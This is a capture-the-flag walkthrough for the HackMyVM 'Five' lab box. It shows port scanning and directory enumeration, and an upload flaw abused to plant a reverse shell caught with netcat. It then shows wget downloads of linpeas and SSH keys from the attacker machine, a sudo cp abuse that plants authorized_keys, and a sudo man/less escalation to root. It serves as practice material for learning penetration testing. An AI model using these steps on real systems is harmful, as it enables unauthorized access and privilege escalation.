Overview
Quite a good box to learn and explore concepts.
Box Difficulty | Link |
---|---|
Medium | hackmyvm Link |
Recon
Find all possible open ports on TCP and UDP:
1
2
3
4
5
6
┌──(root💀kali)-[/opt/hackmyv/five]
└─# masscan -p1-65535,U:1-65535 192.168.56.27 --rate=1000
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-12-28 09:26:24 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 80/tcp on 192.168.56.27
Enumerate ports that were found to be open:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(root💀kali)-[/opt/hackmyv/five]
└─# nmap -sVC -p 80 192.168.56.27
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-28 04:30 EST
Nmap scan report for 192.168.56.27
Host is up (0.00047s latency).
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.14.2
| http-robots.txt: 1 disallowed entry
|_/admin
|_http-title: 403 Forbidden
|_http-server-header: nginx/1.14.2
MAC Address: 08:00:27:E6:69:12 (Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.77 seconds
HTTP- TCP 80
Enumerating using gobuster shows several interesting files. admin
,upload.php
and upload.html
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(root💀kali)-[/opt/hackmyv/five]
└─# gobuster dir -u http://192.168.56.27:80 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -e -k -s "200,204,301,302,307,403,500" -x "txt,html,php,php.bak,bak,jsp" -o gobuster_p80.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.56.27:80
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: txt,html,php,php.bak,bak,jsp
[+] Expanded: true
[+] Timeout: 10s
===============================================================
2021/12/28 04:32:10 Starting gobuster in directory enumeration mode
===============================================================
http://192.168.56.27:80/uploads (Status: 301) [Size: 185] [--> http://192.168.56.27/uploads/]
http://192.168.56.27:80/admin (Status: 301) [Size: 185] [--> http://192.168.56.27/admin/]
http://192.168.56.27:80/upload.html (Status: 200) [Size: 346]
http://192.168.56.27:80/upload.php (Status: 200) [Size: 48]
http://192.168.56.27:80/robots.txt (Status: 200) [Size: 17]
===============================================================
2021/12/28 04:34:05 Finished
===============================================================
Looks like at upload.html
we can upload files onto the server:
Let’s upload a test.txt
which contains the content : “hello world”.
We can see that the file is uploaded at the upload forlder http://192.168.56.27/uploads/test.txt
.
1
2
3
┌──(root💀kali)-[/opt/hackmyv/five]
└─# curl http://192.168.56.27/uploads/test.txt
hello world
Next, we should upload a reverse shell.
Unfortunately, looks like the php file is unable to be viewed at the uploads folder as we receive a 403 forbidden.
Let’s try to instead upload the test.txt onto another folder. Looking at burpsuite , we can see that the file will be upload at uploads/
.
Let’s try to change the target to admin
instead.
Nice, looks like we can upload the file anywhere on the server.
Shell as www-data
This time we will not specify a directory to upload to, so we can target its main folder possibly at /var/www/html
in the backend.
Catch the reverse shell on local machin and we are in!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root💀kali)-[/opt/hackmyv/five]
└─# nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.56.3] from (UNKNOWN) [192.168.56.27] 33244
Linux five 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64 GNU/Linux
04:59:41 up 37 min, 0 users, load average: 0.00, 0.02, 0.10
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami;id;hostname
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Five
Shell as melisa
Download and Run linpeas.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ cd /tmp
cd /tmp
$ wget http://192.168.56.3:1235/linpeas.sh
wget http://192.168.56.3:1235/linpeas.sh
--2021-12-28 05:03:33-- http://192.168.56.3:1235/linpeas.sh
Connecting to 192.168.56.3:1235... connected.
HTTP request sent, awaiting response... 200 OK
Length: 330173 (322K) [text/x-sh]
Saving to: ‘linpeas.sh’
linpeas.sh 100%[===================>] 322.43K --.-KB/s in 0.003s
2021-12-28 05:03:33 (123 MB/s) - ‘linpeas.sh’ saved [330173/330173]
$ bash linpeas.sh
bash linpeas.sh
….
[+] Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid
Matching Defaults entries for www-data on five:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on five:
(melisa) NOPASSWD: /bin/cp
We can see that (melisa) NOPASSWD: /bin/cp
we can run the copy command as melisa. This means we can copy files that once own by www-data and it will become melisa owned file.
One thing we can do is to copy over id_rsa/id_rsa.pub keys.
Attempt 1
Use CP to copy local machine id_rsa.pub to replace melisa id_rsa.pub
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Local machine
┌──(root💀kali)-[/opt/hackmyv/five]
└─# cp /root/.ssh/id_rsa.pub .
┌──(root💀kali)-[/opt/hackmyv/five]
└─# python -m SimpleHTTPServer 1235
Victim machine
$ cd /tmp
cd /tmp
$ wget http://192.168.56.3:1235/id_rsa.pub
wget http://192.168.56.3:1235/id_rsa.pub
--2021-12-28 05:12:24-- http://192.168.56.3:1235/id_rsa.pub
Connecting to 192.168.56.3:1235... connected.
HTTP request sent, awaiting response... 200 OK
Length: 563 [application/vnd.exstream-package]
Saving to: ‘id_rsa.pub’
id_rsa.pub 100%[===================>] 563 --.-KB/s in 0s
2021-12-28 05:12:24 (224 MB/s) - ‘id_rsa.pub’ saved [563/563]
$ sudo -u melisa cp id_rsa.pub /home/melisa/.ssh/id_rsa.pub
sudo -u melisa cp id_rsa.pub /home/melisa/.ssh/id_rsa.pub
Let’s SSH into melisa!
1
2
3
4
Cant SSH into server because no SSH connection
┌──(root💀kali)-[/opt/hackmyv/five]
└─# ssh melisa@192.168.56.27 -i id_rsa.pub
ssh: connect to host 192.168.56.27 port 22: Connection refused
Attempt 2
Looking at the ssh configuratiion can see it’s listening internally on port 4444 internally.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ cat /etc/ssh/sshd_config
cat /etc/ssh/sshd_config
# $OpenBSD: sshd_config,v 1.103 2018/04/09 20:41:22 tj Exp $
# This is the sshd server system-wide configuration file. See
# sshd_config(5) for more information.
# This sshd was compiled with PATH=/usr/bin:/bin:/usr/sbin:/sbin
# The strategy used for options in the default sshd_config shipped with
# OpenSSH is to specify options with their default value where
# possible, but leave them commented. Uncommented options override the
# default value.
Port 4444
#AddressFamily any
ListenAddress 127.0.0.1
#ListenAddress ::
Now, we try to ssh internally after porting our own id_rsa over!
Bringing over id_rsa over from local machine to victim server:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ wget http://192.168.56.3:1235/id_rsa
wget http://192.168.56.3:1235/id_rsa
--2021-12-28 05:32:31-- http://192.168.56.3:1235/id_rsa
Connecting to 192.168.56.3:1235... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2590 (2.5K) [application/octet-stream]
Saving to: ‘id_rsa’
id_rsa 100%[===================>] 2.53K --.-KB/s in 0s
2021-12-28 05:32:31 (469 MB/s) - ‘id_rsa’ saved [2590/2590]
$ chmod 600 id_rsa
chmod 600 id_rsa
SSH as melisa!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ ssh -i id_rsa melisa@localhost -p 4444
ssh -i id_rsa melisa@localhost -p 4444
Could not create directory '/var/www/.ssh'.
The authenticity of host '[localhost]:4444 ([127.0.0.1]:4444)' can't be established.
ECDSA key fingerprint is SHA256:jWQpYhXQJtOuJfrNjZvNSilLDT7fkbFxeioQzGTBY7Y.
Are you sure you want to continue connecting (yes/no)? yes
yes
Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).
melisa@localhost's password:
Permission denied, please try again.
melisa@localhost's password:
Permission denied, please try again.
melisa@localhost's password:
melisa@localhost: Permission denied (publickey,password).
Looks like we require not only the publickey but also a password.
Attempt 3
Reading from https://steflan-security.com/linux-privilege-escalation-exploiting-misconfigured-ssh-keys/.
Looks like we are msising on step : Copying the public key to the authorized_hosts file as well!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
www-data@five:/tmp$ sudo -u melisa cp id_rsa.pub /home/melisa/.ssh/authorized_keys
www-data@five:/tmp$ chmod 600 id_rsa
chmod 600 id_rsa
www-data@five:/tmp$ ssh -i id_rsa melisa@localhost -p 4444
ssh -i id_rsa melisa@localhost -p 4444
Could not create directory '/var/www/.ssh'.
The authenticity of host '[localhost]:4444 ([127.0.0.1]:4444)' can't be established.
ECDSA key fingerprint is SHA256:jWQpYhXQJtOuJfrNjZvNSilLDT7fkbFxeioQzGTBY7Y.
Are you sure you want to continue connecting (yes/no)? yes
yes
Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).
Linux five 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Dec 29 21:57:08 2021 from 127.0.0.1
melisa@five:~$
Great we are now melisa!
Shell as Root
We can see that /bin/man
does not require password and GTFObins has stated we can exploit this to become root.
1
2
3
4
5
6
7
Melisa@five:~$ sudo -l
Matching Defaults entries for melisa on five:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User melisa may run the following commands on five:
(ALL) SETENV: NOPASSWD: /bin/pwd, /bin/arch, /bin/man, /bin/id, /bin/rm, /bin/clear
Attempt 1
However running sudo -u root /bin/man /bin/man
This is because as stated in the GTFObin page
This invokes the default pager, which is likely to be
less
, other functions may apply.
As we can see reading from the man pages, the default pager is set to pager.
1
2
3
4
5
6
7
8
Controlling formatted output
-P pager, --pager=pager
Specify which output pager to use. By default, man uses pager, falling back to cat if pager is not found or is not executable. This option overrides
the $MANPAGER environment variable, which in turn overrides the $PAGER environment variable. It is not used in conjunction with -f or -k.
The value may be a simple command name or a command with arguments, and may use shell quoting (backslashes, single quotes, or double quotes). It may
not use pipes to connect multiple commands; if you need that, use a wrapper script, which may take the file to display either as an argument or on
standard input.
So instead, we have to use the less
command as a pager and exploit it to get it working.
1
2
3
4
melisa@five:~$ which less
/usr/bin/less
melisa@five:/tmp$ sudo -u root /bin/man -P /usr/bin/less man
And we are root!
1
2
3
4
# whoami;id;hostname
root
uid=0(root) gid=0(root) groups=0(root)
five